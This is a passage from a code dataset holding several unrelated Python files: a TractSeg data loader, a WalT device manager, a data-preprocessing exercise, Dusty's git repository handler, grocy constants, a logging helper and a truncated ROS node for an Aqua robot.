self.HP.NORMALIZE_DATA:\n            tfs.append(ZeroMeanUnitVarianceTransform(per_channel=self.HP.NORMALIZE_PER_CHANNEL))\n\n        if self.HP.DATASET == \"Schizo\" and self.HP.RESOLUTION == \"2mm\":\n            tfs.append(PadToMultipleTransform(16))\n\n        if self.HP.DATA_AUGMENTATION:\n            if type == \"train\":\n                # scale: inverted: 0.5 -> bigger; 2 -> smaller\n                # patch_center_dist_from_border: if 144/2=72 -> always exactly centered; otherwise a bit off center (brain can get off image and will be cut then)\n\n                if self.HP.DAUG_SCALE:\n                    center_dist_from_border = int(self.HP.INPUT_DIM[0] / 2.) - 10  # (144,144) -> 62\n                    tfs.append(SpatialTransform(self.HP.INPUT_DIM,\n                                                        patch_center_dist_from_border=center_dist_from_border,\n                                                        do_elastic_deform=self.HP.DAUG_ELASTIC_DEFORM, alpha=(90., 120.), sigma=(9., 11.),\n                                                        do_rotation=self.HP.DAUG_ROTATE, angle_x=(-0.8, 0.8), angle_y=(-0.8, 0.8),\n                                                        angle_z=(-0.8, 0.8),\n                                                        do_scale=True, scale=(0.9, 1.5), border_mode_data='constant',\n                                                        border_cval_data=0,\n                                                        order_data=3,\n                                                        border_mode_seg='constant', border_cval_seg=0, order_seg=0, random_crop=True))\n\n                if self.HP.DAUG_RESAMPLE:\n                    tfs.append(ResampleTransform(zoom_range=(0.5, 1)))\n\n                if self.HP.DAUG_NOISE:\n                    tfs.append(GaussianNoiseTransform(noise_variance=(0, 0.05)))\n\n                if self.HP.DAUG_MIRROR:\n                    tfs.append(MirrorTransform())\n\n                if self.HP.DAUG_FLIP_PEAKS:\n                    tfs.append(FlipVectorAxisTransform())\n\n        #num_cached_per_queue 1 or 2 does not really make a difference\n        batch_gen = MultiThreadedAugmenter(batch_gen, Compose(tfs), num_processes=num_processes, num_cached_per_queue=1, seeds=None)\n        return batch_gen    # data: (batch_size, channels, x, y), seg: (batch_size, channels, x, y)\n\n\nclass DataManagerPrecomputedBatches:\n    def __init__(self, HP):\n        self.HP = HP\n        print(\"Loading data from: \" + join(C.DATA_PATH, self.HP.DATASET_FOLDER))\n\n    def get_batches(self, batch_size=128, type=None, subjects=None, num_batches=None):\n        data = type\n        seg = []\n\n        num_processes = 1  # 6 is a bit faster than 16\n        nr_of_samples = len(subjects) * self.HP.INPUT_DIM[0]\n        if num_batches is None:\n            num_batches_multithr = int(nr_of_samples / batch_size / num_processes)   #number of batches for exactly one epoch\n        else:\n            num_batches_multithr = int(num_batches / num_processes)\n\n\n        batch_gen = SlicesBatchGeneratorPrecomputedBatches((data, seg), BATCH_SIZE=batch_size, num_batches=num_batches_multithr, seed=None)\n        batch_gen.HP = self.HP\n\n        batch_gen = MultiThreadedAugmenter(batch_gen, Compose([]), num_processes=num_processes, num_cached_per_queue=1, seeds=None)\n        return batch_gen\n\n\nclass DataManagerPrecomputedBatches_noDLBG:\n    '''\n    Somehow MultiThreadedAugmenter (with num_processes=1 and num_cached_per_queue=1) in ep1 fast (7s) but after\n    that slower (10s). With this manual Iterator time is always the same (7.5s).\n    '''\n    def __init__(self, HP):\n        self.HP = HP\n        print(\"Loading data from: \" + join(C.DATA_PATH, self.HP.DATASET_FOLDER))\n\n    def get_batches(self, batch_size=None, type=None, subjects=None, num_batches=None):\n        num_processes = 1\n\n        nr_of_samples = len(subjects) * self.HP.INPUT_DIM[0]\n        if num_batches is None:\n            num_batches_multithr = int(nr_of_samples / batch_size / num_processes)   #number of batches for exactly one epoch\n        else:\n            num_batches_multithr = int(num_batches / num_processes)\n\n        for i in range(num_batches_multithr):\n            path = join(C.DATA_PATH, self.HP.DATASET_FOLDER, type)\n            nr_of_files = len([name for name in os.listdir(path) if os.path.isfile(join(path, name))]) - 2\n            idx = int(random.uniform(0, int(nr_of_files / 2.)))\n\n            # data = nib.load(join(path, \"batch_\" + str(idx) + \"_data.nii.gz\")).get_data()\n            # seg = nib.load(join(path, \"batch_\" + str(idx) + \"_seg.nii.gz\")).get_data()\n            data = nib.load(join(path, \"batch_\" + str(idx) + \"_data.nii.gz\")).get_data()[:self.HP.BATCH_SIZE]\n            seg = nib.load(join(path, \"batch_\" + str(idx) + \"_seg.nii.gz\")).get_data()[:self.HP.BATCH_SIZE]\n            yield {\"data\": data, \"seg\": seg}","sub_path":"tractseg/libs/DataManagers.py","file_name":"DataManagers.py","file_ext":"py","file_size_in_byte":14969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"120831705","text":"#!/usr/bin/env python\nfrom walt.server.threads.main.network.tools import set_static_ip_on_switch, \\\n                            ip_in_walt_network, get_walt_subnet, get_server_ip\nfrom walt.server.threads.main.network.netsetup import NetSetup\nfrom walt.common.tools import format_sentence, get_mac_address\nfrom walt.server.tools import format_paragraph, to_named_tuple, merge_named_tuples\nfrom walt.server import const\nimport re, json\n\nDEVICE_NAME_NOT_FOUND=\"\"\"No device with name '%s' found.\\n\"\"\"\n\nNEW_NAME_ERROR_AND_GUIDELINES = \"\"\"\\\nFailed: invalid new name.\nThis name must be a valid network hostname.\nOnly alphanumeric characters and '-' are allowed.\nThe 1st character must be an alphabet letter.\nThe name must be at least 2-chars long.\n(Example: rpi-D327)\n\"\"\"\n\nDEVICES_QUERY = \"\"\"\\\nSELECT name, ip, mac,\n       CASE WHEN type = 'node' AND virtual THEN 'node (virtual)'\n            WHEN type = 'node' AND mac like '52:54:00:%%' THEN 'node (vpn)'\n            WHEN type = 'node' THEN 'node (physical)'\n            ELSE type\n       END as type\nFROM devices\nWHERE type %(unknown_op)s 'unknown'\nORDER BY type, name;\"\"\"\n\nMY_NODES_QUERY = \"\"\"\\\nSELECT  d.mac as mac\nFROM devices d, nodes n, images i\nWHERE   d.mac = n.mac\nAND     n.image = i.fullname\nAND     i.ready = True\nAND     split_part(n.image, '/', 1) = '%s'\nORDER BY name;\"\"\"\n\nDEVICE_SET_QUERIES = {\n        'all-nodes': \"\"\"\n            SELECT  d.mac as mac\n            FROM devices d, nodes n, images i\n            WHERE   d.mac = n.mac\n            AND     n.image = i.fullname\n            AND     i.ready = True\n            ORDER BY d.name;\"\"\",\n        'all-switches': \"\"\"\n            SELECT  d.mac as mac\n            FROM devices d\n            WHERE   d.type = 'switch'\n            ORDER BY name;\"\"\",\n        'all-devices': \"\"\"\n            SELECT  d.mac as mac\n            FROM devices d\n            ORDER BY type, name;\"\"\",\n        'explorable-switches': \"\"\"\n            SELECT  d.mac as mac\n            FROM devices d\n            WHERE   d.type = 'switch'\n            AND     COALESCE((d.conf->'lldp.explore')::boolean, False) = True\n            ORDER BY d.name;\"\"\"\n}\n\nTITLE_DEVICE_SHOW_MAIN = \"\"\"\\\nThe WalT network contains the following devices:\"\"\"\n\nFOOTNOTE_DEVICE_SHOW_MAIN = \"\"\"\\\ntips:\n- use 'walt device tree' for a tree view of the network\n- use 'walt device forget <device_name>' to make WalT forget about an obsolete device\"\"\"\n\nTITLE_SOME_UNKNOWN_DEVICES = \"\"\"\\\nWalT also detected the following devices but could not detect their type:\"\"\"\n\nFOOTNOTE_SOME_UNKNOWN_DEVICES = \"\"\"\\\nIf one of them is actually a switch, use 'walt device config <name> type=switch' to fix this.\"\"\"\n\nclass DevicesManager(object):\n\n    def __init__(self, db):\n        self.db = db\n        self.server_ip = get_server_ip()\n        self.netmask = str(get_walt_subnet().netmask)\n\n    def validate_device_name(self, requester, name):\n        if self.get_device_info(requester, name, err_message = None) != None:\n            if requester is not None:\n                requester.stderr.write(\"\"\"Failed: a device with name '%s' already exists.\\n\"\"\" % name)\n            return False\n        if len(name) < 2 or not re.match('^[a-zA-Z][a-zA-Z0-9-]*$', name):\n            if requester is not None:\n                requester.stderr.write(NEW_NAME_ERROR_AND_GUIDELINES)\n            return False\n        return True\n\n    def rename(self, requester, old_name, new_name):\n        device_info = self.get_device_info(requester, old_name)\n        if device_info == None:\n            return\n        if not self.validate_device_name(requester, new_name):\n            return\n        # all is fine, let's update it\n        self.db.update(\"devices\", 'mac', mac = device_info.mac, name = new_name)\n        self.db.commit()\n\n    def get_type(self, mac):\n        device_info = self.db.select_unique(\"devices\", mac=mac)\n        if not device_info:\n            return None\n        return device_info.type\n\n    def get_device_info(self, requester, device_name, \\\n                        err_message = DEVICE_NAME_NOT_FOUND):\n        device_info = self.db.select_unique(\"devices\", name=device_name)\n        if device_info == None and err_message != None and requester is not None:\n            requester.stderr.write(err_message % device_name)\n        return device_info\n\n    def get_complete_device_info(self, mac):\n        device_info = self.db.select_unique(\"devices\", mac=mac)\n        if device_info == None:\n            return None\n        device_type = device_info.type\n        if device_type == 'node':\n            node_info = self.db.select_unique(\"nodes\", mac=mac)\n            if device_info.conf.get('netsetup', 0) == NetSetup.NAT:\n                gateway = self.server_ip\n            else:\n                gateway = ''\n            node_info = to_named_tuple(node_info._asdict())\n            node_info = node_info.update(\n                gateway = gateway,\n                netmask = self.netmask\n            )\n            device_info = merge_named_tuples(device_info, node_info)\n        elif device_type == 'switch':\n            switch_info = self.db.select_unique(\"switches\", mac=mac)\n            device_info = merge_named_tuples(device_info, switch_info)\n        return device_info\n\n    def get_name_from_ip(self, ip):\n        device_info = self.db.select_unique(\"devices\", ip=ip)\n        return device_info.name\n\n    def notify_unknown_ip(self, requester, device_name):\n        requester.stderr.write('Sorry, IP address of %s in unknown.\\n' \\\n                            % device_name)\n\n    def get_device_ip(self, requester, device_name):\n        device_info = self.get_device_info(requester, device_name)\n        if device_info == None:\n            return None # error already reported\n        if device_info.ip == None:\n            self.notify_unknown_ip(requester, device_name)\n        return device_info.ip\n\n    def generate_device_name(self, type, mac, **kwargs):\n        if type == 'server':\n            return 'walt-server'\n        else:\n            prefix = \"%s-%s\" % (type, \"\".join(mac.split(':')[3:]))\n            i = 1\n            while True:\n                if i == 1:\n                    name = prefix\n                else:\n                    name = \"%s-%d\" % (prefix, i)\n                device_info = self.db.select_unique(\"devices\", name=name)\n                if device_info == None:\n                    # ok name does not exist in db yet\n                    return name\n                else:\n                    # device name already exists! Check next one.\n                    i += 1\n\n    def add_or_update(self, **args_data):\n        \"\"\"Return True if a new equipment (node, switch) was identified, False otherwise\"\"\"\n        if 'type' not in args_data:\n            args_data['type'] = 'unknown'\n        new_equipment = False\n        modified = False\n        db_data = self.db.select_unique(\"devices\", mac=args_data['mac']);\n        if db_data:\n            # -- device found in db\n            updates = {}\n            name = db_data.name\n            if db_data.type == 'unknown' and args_data['type'] != 'unknown':\n                # device was in db, but type was unknown.\n                if 'unknown' in db_data.name:\n                    # device name has not been updated by the user,\n                    # we will generate a new one more appropriate for the new type\n                    name = self.generate_device_name(**args_data)\n                    updates['name'] = name\n                    if 'requester' in args_data:\n                        requester = args_data['requester']\n                        requester.stdout.write('Renaming %s to %s for clarity.\\n' % (\n                            db_data.name, name\n                        ))\n                # now we know its type, so we consider we have a new equipment here.\n                new_equipment = True\n                print('Device: %s updating type, unknown -> %s' % (name, args_data['type']))\n                updates['type'] = args_data['type']\n            if db_data.ip is None and args_data['ip'] is not None:\n                print('Device: %s updating ip, unknown -> %s' % (name, args_data['ip']))\n                updates['ip'] = args_data['ip']\n            elif db_data.ip is not None and args_data['ip'] is not None and \\\n                    not ip_in_walt_network(db_data.ip) and ip_in_walt_network(args_data['ip']):\n                # the device updated its IP by requesting our managed DHCP server\n                print('Device: %s updating ip, %s -> %s (now in walt network)' % (name, db_data.ip, args_data['ip']))\n                updates['ip'] = args_data['ip']\n            if len(updates) > 0:\n                modified = True\n                self.db.update(\"devices\", 'mac', mac=args_data['mac'], **updates)\n        else:\n            # device was not known in db yet\n            # generate a name for this device\n            if 'name' not in args_data:\n                args_data['name'] = self.generate_device_name(**args_data)\n            print('Device: %s is new, adding (%s, %s)' % (args_data['name'], args_data['ip'], args_data['type']))\n            self.db.insert(\"devices\", **args_data)\n            modified = True\n            if args_data['type'] != 'unknown':\n                new_equipment = True\n        # if new switch or node, insert in relevant table\n        if new_equipment:\n            if args_data['type'] == 'switch':\n                self.db.insert('switches', **args_data)\n            elif args_data['type'] == 'node':\n                self.db.insert('nodes', **args_data)\n        else:   # otherwise update them\n            if args_data['type'] == 'switch':\n                self.db.update('switches', 'mac', **args_data)\n            elif args_data['type'] == 'node':\n                self.db.update('nodes', 'mac', **args_data)\n        if modified:\n            self.db.commit()\n        return new_equipment\n\n    def show(self):\n        q = DEVICES_QUERY % dict(unknown_op = '!=')\n        msg = format_paragraph(\n                TITLE_DEVICE_SHOW_MAIN,\n                self.db.pretty_printed_select(q),\n                FOOTNOTE_DEVICE_SHOW_MAIN)\n        unknown_devices = self.db.select('devices', type='unknown')\n        if len(unknown_devices) > 0:\n            q = DEVICES_QUERY % dict(unknown_op = '=')\n            msg += format_paragraph(\n                        TITLE_SOME_UNKNOWN_DEVICES,\n                        self.db.pretty_printed_select(q),\n                        FOOTNOTE_SOME_UNKNOWN_DEVICES)\n        return msg\n\n    def includes_devices_not_owned(self, requester, device_set, warn):\n        username = requester.get_username()\n        if not username:\n            return False    # client already disconnected, give up\n        devices = self.parse_device_set(requester, device_set)\n        if devices is None:\n            return None\n        not_owned = [d for d in devices\n                     if not (d.type == \"node\" and\n                             (d.image.startswith(username + '/') or d.image.startswith('waltplatform/'))\n                             or d.type != \"node\")]\n        if len(not_owned) == 0:\n            return False\n        else:\n            if warn:\n                requester.stderr.write(format_sentence(\n                    'Warning: %s seems(seem) to be used by another(other) user(users).',\n                    [d.name for d in not_owned], \"No device\", \"Device\", \"Devices\") + '\\n')\n            return True\n\n    def parse_device_set(self, requester, device_set, allow_empty=False):\n        if ',' in device_set:\n            devices = []\n            for subset in device_set.split(','):\n                subset_devices = self.parse_device_set(requester, subset, True)\n                if subset_devices is None:\n                    return None\n                devices += subset_devices\n            return devices\n        elif device_set == 'server':\n            server_mac = get_mac_address(const.WALT_INTF)\n            # register the server in the device list, if missing\n            self.add_or_update(\n                    mac = server_mac, ip = str(get_server_ip()),\n                type = 'server')\n            return [self.get_complete_device_info(server_mac)]\n        else:\n            username = requester.get_username()\n            if not username:\n                return None    # client already disconnected, give up\n            # check keywords\n            sql = None\n            if device_set is None or device_set == 'my-nodes':\n                sql = MY_NODES_QUERY % username\n            elif device_set in DEVICE_SET_QUERIES:\n                sql = DEVICE_SET_QUERIES[device_set]\n            if sql is not None:\n                # retrieve devices from database\n                device_macs = [record[0] for record in self.db.execute(sql)]\n            else:\n                # otherwise a specific device is requested by name\n                dev_name = device_set\n                dev_info = self.get_device_info(requester, dev_name)\n                if dev_info is None:\n                    return None\n                device_macs = [ dev_info.mac ]\n            # get complete devices info\n            devices = [self.get_complete_device_info(mac) for mac in device_macs]\n            if len(devices) == 0 and not allow_empty:\n                requester.stderr.write('No matching devices found! (tip: walt help show node-terminology)\\n')\n                return None\n            return sorted(devices)\n\n    def as_device_set(self, names):\n        return ','.join(sorted(names))\n\n    def develop_device_set(self, requester, device_set):\n        devices = self.parse_device_set(requester, device_set)\n        if devices is None:\n            return None\n        return self.as_device_set(d.name for d in devices)\n","sub_path":"server/walt/server/threads/main/devices/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":13694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"219350400","text":"import csv\nfrom scipy import stats\nfrom scipy import spatial\nimport nltk\nimport numpy as np\nimport copy\nimport string\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import OneHotEncoder\n\npath_to_data = 'data/data.csv'\npath_to_text = 'data/text.txt'\n\ncsv_data = []\n\nwith open(path_to_data, newline='', encoding='utf-8') as f:\n    reader = csv.reader(f)\n    for row in reader:\n        csv_data.append(row)\n\nheaders = csv_data[0]\ndata = np.array(csv_data[1:], dtype=object)\n\nfor i in range(len(data)):\n    for j in range(len(data[i])):\n        try:\n            data[i][j] = float(data[i][j])\n        except Exception:\n            pass            \n\ncategorical_data = data[:, 2]\n\nmode = []\nfor col in data.T:\n    mode.append(stats.mode(col[col != '-'])[0][0])\n\n# TASK 1\ndata_preprocessed_by_mode = copy.deepcopy(data)\nfor colIndex in range(len(data.T)):\n    for rowIndex in range(len(data[:, colIndex])):\n        if data[rowIndex][colIndex] == '-':\n            data_preprocessed_by_mode[rowIndex][colIndex] = mode[colIndex]\n\n# print('Mode: ', mode)\n# print('Before: ', data)\n# print('After: ', data_preprocessed_by_mode)\n\n# TASK 2\na, b, c = data_preprocessed_by_mode[0]\ndata = np.append(data_preprocessed_by_mode[:, :2], [a ** 2, b ** 2])\ndata = data.reshape((-1, 2))\n\navg_vec = np.mean(data, axis=0)\n# print(data)\n# print(avg_vec)\n\nX = data.astype(float)\nV = np.cov(X.T)\nVI = np.linalg.inv(V)\n\nmehalanobis_d = [spatial.distance.mahalanobis(x, avg_vec, VI) for x in data.astype(float)]\n\n# for i in range(len(data)):\n#     print(data[i], mehalanobis_d[i])\n\n\n# TASK 3\ndata = data[:-1]\n\nnormalized = []\nfor col in data.T.astype(float):\n    n = np.interp(col, (col.min(), col.max()), (0.13, 1.13))\n    normalized.append(n)\nnormalized = np.array(normalized).T\n# for i in range(len(data)):\n#     print(data[i], normalized[i])\n\n# TASK 4\nwith open(path_to_text, 'r') as fp:\n    text = fp.read()\n\n# print(data)\nnltk.download('punkt')\nnltk.download('stopwords')\npunkt = nltk.data.load('tokenizers/punkt/english.pickle')\nstopwords = nltk.corpus.stopwords.words('english')\npunctuation = string.punctuation\nstemmer = nltk.stem.porter.PorterStemmer()\n\ntokens = punkt.tokenize(text)\nfor token in tokens:\n    token = token.lower()\n    token = ''.join(list(filter(lambda c: c not in punctuation, token)))\n    token = ' '.join(list(filter(lambda word: word not in stopwords, token.split(' '))))\n    token = ' '.join(list(map(lambda word: stemmer.stem(word), token.split(' '))))\n    # print(token + '\\n\\n')\n\n# TASK 5\nprint(categorical_data)\n\nvalues = np.array(categorical_data)\nlabel_encoder = LabelEncoder()\ninteger_encoded = label_encoder.fit_transform(values)\nonehot_encoder = OneHotEncoder(sparse=False)\ninteger_encoded = integer_encoded.reshape(len(integer_encoded), 1)\nonehot_encoded = onehot_encoder.fit_transform(integer_encoded)\n\nprint(onehot_encoded)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"13634332","text":"\"\"\"Module for managing the versions of applications' source\nrepositories managed by Dusty itself.\"\"\"\n\nimport os\nimport logging\nfrom contextlib import contextmanager\n\nimport git\n\nfrom .config import get_config_value\nfrom . import constants\nfrom .log import log_to_client\nfrom .path import parent_dir\n\n@contextmanager\ndef git_error_handling():\n    try:\n        yield\n    except git.exc.GitCommandError:\n        log_to_client('ERROR: Git command failed. If you are trying to access a remote repository '\n                      'over SSH (e.g. GitHub), please make sure you have added your SSH key to the '\n                      'SSH agent using: ssh-add <SSH key filepath>')\n        raise\n\nclass Repo(object):\n    def __init__(self, remote_path):\n        # remote path is either of actual remote (github.com/gamechanger/dusty) or\n        # other local repo (/repos/dusty) format\n        self.remote_path = remote_path\n\n    def __eq__(self, other):\n        if isinstance(other, self.__class__):\n            return self.remote_path == other.remote_path\n        return False\n\n    def __hash__(self):\n        return hash(self.remote_path)\n\n    @classmethod\n    def resolve(cls, all_known_repos, name):\n        \"\"\"We require the list of all remote repo paths to be passed in\n        to this because otherwise we would need to import the spec assembler\n        in this module, which would give us circular imports.\"\"\"\n        match = None\n        for repo in all_known_repos:\n            if repo.remote_path == name: # user passed in a full name\n                return repo\n            if name == repo.short_name:\n                if match is None:\n                    match = repo\n                else:\n                    raise RuntimeError('Short repo name {} is ambiguous. It matches both {} and {}'.format(name,\n                                                                                                           match.remote_path,\n                                                                                                           repo.remote_path))\n        if match is None:\n            raise RuntimeError('Short repo name {} does not match any known repos'.format(name))\n        return match\n\n    @property\n    def is_local_repo(self):\n        return self.remote_path.startswith('/')\n\n    @property\n    def short_name(self):\n        return self.remote_path.split('/')[-1]\n\n    @property\n    def managed_path(self):\n        return os.path.join(constants.REPOS_DIR, self.remote_path.lstrip('/'))\n\n    @property\n    def is_overridden(self):\n        return self.remote_path in get_config_value(constants.CONFIG_REPO_OVERRIDES_KEY)\n\n    @property\n    def override_path(self):\n        repo_overrides = get_config_value(constants.CONFIG_REPO_OVERRIDES_KEY)\n        return repo_overrides.get(self.remote_path)\n\n    @property\n    def local_path(self):\n        return self.override_path if self.is_overridden else self.managed_path\n\n    @property\n    def vm_path(self):\n        return os.path.join(constants.VM_REPOS_DIR, self.remote_path.lstrip('/'))\n\n    def ensure_local_repo(self):\n        \"\"\"Given a Dusty repo object, clone the remote into Dusty's local repos\n        directory if it does not already exist.\"\"\"\n        if os.path.exists(self.managed_path):\n            logging.debug('Repo {} already exists'.format(self.remote_path))\n            return\n\n        logging.info('Initiating clone of local repo {}'.format(self.remote_path))\n\n        repo_path_parent = parent_dir(self.managed_path)\n        if not os.path.exists(repo_path_parent):\n            os.makedirs(repo_path_parent)\n        with git_error_handling():\n            if self.is_local_repo:\n                git.Repo.clone_from('file:///{}'.format(self.remote_path), self.managed_path)\n            else:\n                git.Repo.clone_from('ssh://{}@{}'.format(constants.GIT_USER, self.remote_path), self.managed_path)\n\n    def update_local_repo(self):\n        \"\"\"Given a remote path (e.g. github.com/gamechanger/gclib), pull the latest\n        commits from master to bring the local copy up to date.\"\"\"\n        self.ensure_local_repo()\n\n        logging.info('Updating local repo {}'.format(self.remote_path))\n\n        managed_repo = git.Repo(self.managed_path)\n        with git_error_handling():\n            managed_repo.remote().pull('master')\n","sub_path":"dusty/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":4316,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"351908670","text":"\"\"\"Constants for grocy.\"\"\"\nimport logging\n\nLOGGER = logging.getLogger(__package__)\n\n# Base component constants\nDOMAIN = \"grocy\"\nVERSION = \"1.2.0\"\nREQUIRED_FILES = [\n    \"const.py\",\n    \"manifest.json\",\n    \"sensor.py\",\n    \"binary_sensor.py\",\n    \"config_flow.py\",\n    \"translations/en.json\",\n]\nISSUE_URL = \"https://github.com/custom-components/grocy/issues\"\nATTRIBUTION = \"Data from this is provided by grocy.\"\nSTARTUP = \"\"\"\n-------------------------------------------------------------------\n{name}\nVersion: {version}\nThis is a custom component\nIf you have any issues with this you need to open an issue here:\n{issueurl}\n-------------------------------------------------------------------\n\"\"\"\n\n# Icons\nICON = \"mdi:format-quote-close\"\n\n# Device classes\nSENSOR_PRODUCTS_UNIT_OF_MEASUREMENT = \"Product(s)\"\nSENSOR_CHORES_UNIT_OF_MEASUREMENT = \"Chore(s)\"\nSENSOR_TASKS_UNIT_OF_MEASUREMENT = \"Task(s)\"\nSENSOR_MEALS_UNIT_OF_MEASUREMENT = \"Meal(s)\"\n\nSTOCK_NAME = \"stock\"\nCHORES_NAME = \"chores\"\nTASKS_NAME = \"tasks\"\nSHOPPING_LIST_NAME = \"shopping_list\"\nPRODUCTS_NAME = \"products\"\nEXPIRING_PRODUCTS_NAME = \"expiring_products\"\nEXPIRED_PRODUCTS_NAME = \"expired_products\"\nMISSING_PRODUCTS_NAME = \"missing_products\"\nMEAL_PLAN_NAME = \"meal_plan\"\n\n\nSUPPORTED_PLATFORMS = [\"binary_sensor\", \"sensor\"]\nSENSOR_TYPES = [STOCK_NAME, CHORES_NAME, TASKS_NAME, SHOPPING_LIST_NAME, MEAL_PLAN_NAME]\nBINARY_SENSOR_TYPES = [\n    EXPIRING_PRODUCTS_NAME,\n    EXPIRED_PRODUCTS_NAME,\n    MISSING_PRODUCTS_NAME,\n]\n\nNEW_SENSOR = \"sensors\"\nNEW_BINARY_SENSOR = \"binary_sensors\"\n\n# Configuration\nCONF_ENABLED = \"enabled\"\nCONF_NAME = \"name\"\n\nCONF_ALLOW_CHORES = \"allow_chores\"\nCONF_ALLOW_MEAL_PLAN = \"allow_meal_plan\"\nCONF_ALLOW_ = \"allow_products\"\nCONF_ALLOW_SHOPPING_LIST = \"allow_shopping_list\"\nCONF_ALLOW_STOCK = \"allow_stock\"\nCONF_ALLOW_TASKS = \"allow_tasks\"\n\n# Defaults\nDEFAULT_CONF_NAME = DOMAIN\nDEFAULT_PORT_NUMBER = 9192\nDEFAULT_CONF_ALLOW_CHORES = False\nDEFAULT_CONF_ALLOW_MEAL_PLAN = False\nDEFAULT_CONF_ALLOW_SHOPPING_LIST = False\nDEFAULT_CONF_ALLOW_STOCK = False\nDEFAULT_CONF_ALLOW_TASKS = False\n","sub_path":"custom_components/grocy/const.py","file_name":"const.py","file_ext":"py","file_size_in_byte":2070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"17420577","text":"# encoding:utf-8\n# @Time:2020/10/17\n\n# @Author:Ferry\n\n# @colleges_class:湖南理工学院_电子14-2BF\nimport time\nimport logging\nimport os\nfrom logging import handlers\n\n\n# 生成日志\ndef my_logging(**kwargs):\n    # 在字典中寻找pop方法：删除字典给定键 key 及对应的值，返回值为被删除的值。\n    level = kwargs.pop(\"level\", None)\n    filename = kwargs.pop(\"filename\", None)\n    datefmt = kwargs.pop(\"datefmt\", None)\n    format = kwargs.pop(\"format\", None)\n    if level is None:\n        level = logging.DEBUG\n    if filename is None:\n        current_day = time.strftime(\"%Y-%m-%d\", time.localtime(time.time()))\n        filename = \"..\\\\log\\\\\" + \"AutoTest.log\" + \".\" + current_day\n    if datefmt is None:\n        datefmt = \"%Y-%m-%d %H:%M:%S\"\n    if format is None:\n        format = \"%(asctime)s [%(module)s] %(levelname)s [%(lineno)d] %(message)s\"\n\n    log = logging.getLogger(filename)\n    log.handlers = []\n    format_str = logging.Formatter(format, datefmt)\n    # backupCount 保存日志的数量，过期自动删除\n    # when 按什么日期格式切分\n    time_handler = handlers.TimedRotatingFileHandler(filename=\"..\\\\log\\\\\" + \"AutoTest.log\", when=\"D\", backupCount=7,\n                                                     encoding=\"utf-8\")\n    time_handler.setFormatter(format_str)\n    time_handler.setLevel(logging.INFO)\n    console_handler = logging.StreamHandler()\n    console_handler.setFormatter(format_str)\n    log.addHandler(time_handler)\n    log.addHandler(console_handler)\n    log.setLevel(level)\n    return log\n","sub_path":"1.python_接口自动化_通过编写多个函数进行参数化/common/ferry_log.py","file_name":"ferry_log.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"264821060","text":"#!/usr/bin/env python\nimport math\nimport rospy\nfrom std_msgs.msg import Empty, String\nfrom std_srvs.srv import Empty as EmptySrv\nfrom std_srvs.srv import EmptyResponse as EmptySrvResponse\nfrom sensor_msgs.msg import Joy\nfrom aquacore.msg import PeriodicLegCommand\nfrom aquacore.srv import SetAutopilotMode, SetString, SetStringResponse\nfrom JoyState import JoyState\n\n\nclass AquaMarshallNode:\n    def __init__(self):\n        rospy.init_node('rl_marshall')\n\n        self.FSM = 'ap'  # possible values: 'ap'/'rl'/'ap_prompt'\n        self.prev_joy_state = None\n\n        self.plc_out_pub = rospy.Publisher(\n            '/aqua/periodic_leg_command', PeriodicLegCommand, queue_size=10)\n        self.fsm_pub = rospy.Publisher(\n            '/rl_marshall/mode', String, queue_size=10, latch=True)\n        self.trigger_start_pub = rospy.Publisher(\n            '/rl/trigger_start', Empty, queue_size=10)\n        self.trigger_stop_pub = rospy.Publisher(\n            '/rl/trigger_stop', Empty, queue_size=10)\n\n        rospy.loginfo(\n            '%s: waiting for /aqua/set_3Dauto_mode...' % rospy.get_name())\n        rospy.wait_for_service('/aqua/set_3Dauto_mode')\n        self.set_ap_mode_cln = rospy.ServiceProxy(\n            '/aqua/set_3Dauto_mode', SetAutopilotMode)\n\n        msg_ = '%s: waiting for /aqua/reset_3D_autopilot_state...'\n        rospy.loginfo(msg_ % rospy.get_name())\n        rospy.wait_for_service(\n            '/aqua/reset_3D_autopilot_state')\n        self.reset_ap_cln = rospy.ServiceProxy(\n            '/aqua/reset_3D_autopilot_state', EmptySrv)\n\n        self.set_mode_svr = rospy.Service(\n            '/rl_marshall/set_mode', SetString, self.handle_set_mode)\n        self.trigger_start_sub = rospy.Subscriber(\n            '/rl/trigger_start', Empty, self.handle_trigger_start)\n        self.trigger_stop_sub = rospy.Subscriber(\n            '/rl/trigger_stop', Empty, self.handle_trigger_stop)\n        self.trigger_reset_sub = rospy.Subscriber(\n            '/rl/trigger_reset', Empty, self.handle_trigger_reset)\n        self.plc_in_ap_sub = rospy.Subscriber(\n            '/sandbox/AP/periodic_leg_command', PeriodicLegCommand,\n            self.handle_ap_plc)\n        self.plc_in_rl_sub = rospy.Subscriber(\n            '/sandbox/RL/periodic_leg_command', PeriodicLegCommand,\n            self.handle_rl_plc)\n        self.joy_sub = rospy.Subscriber(\n            '/joy', Joy, self.handle_joy)\n\n        if self.FSM == 'ap' or self.FSM == 'ap_prompt':\n            self.activate_ap()\n        else:\n            self.deactivate_ap()\n        self.fsm_pub.publish(String(self.FSM))\n\n        rospy.loginfo(\n            '%s: initialized into %s mode' % (rospy.get_name(), self.FSM))\n\n    def activate_ap(self):\n        self.reset_ap_cln()\n        self.set_ap_mode_cln(4)  # depth-regulated\n\n    def deactivate_ap(self):\n        self.reset_ap_cln()\n        self.set_ap_mode_cln(0)\n        self.reset_ap_cln()\n\n        # Force zero-center on all flippers\n        msg = PeriodicLegCommand()\n        self.plc_out_pub.publish(msg)\n        rospy.sleep(1.0)\n\n    def handle_ap_plc(self, msg):\n        if self.FSM == 'ap' or self.FSM == 'ap_prompt':\n            self.plc_out_pub.publish(msg)\n\n    def handle_rl_plc(self, msg):\n        if self.FSM == 'rl':\n            